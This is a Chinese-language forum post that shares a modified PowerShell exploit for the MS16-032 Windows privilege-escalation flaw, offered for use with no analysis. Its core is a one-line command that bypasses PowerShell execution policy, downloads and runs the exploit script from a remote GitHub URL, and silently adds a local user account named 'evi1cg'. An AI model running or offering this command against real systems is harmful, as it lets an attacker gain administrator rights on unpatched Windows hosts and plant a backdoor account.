anonymou5

 找回密码
 立即注册
搜索
查看: 82|回复: 0

MS16-032 Powershell版

[复制链接]
匿名
匿名  发表于 2018-10-30 10:06:53 |阅读模式
试用系统:
Tested on x32 Win7, x64 Win8, x64 2k12R2

提权powershell脚本:

down:Invoke-MS16-032.ps1

测试详情:



为了方便使用,对这个脚本进行了简单的修改,可以执行任意程序,并可以添加参数执行(全程无弹框)脚本地址为:

Invoke-MS16-032.ps1

使用方式如下:
添加用户:



运行某程序:



远程加用户:
直接执行如下命令,可进行提权并添加用户:
  1. powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user evi1cg test123 /add'"
复制代码
演示如下:



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

( 蜀ICP备18025895号 )

GMT+8, 2018-11-20 19:06 , Processed in 0.094344 second(s), 21 queries .

Powered by anonymou5 0.1

快速回复 返回顶部 返回列表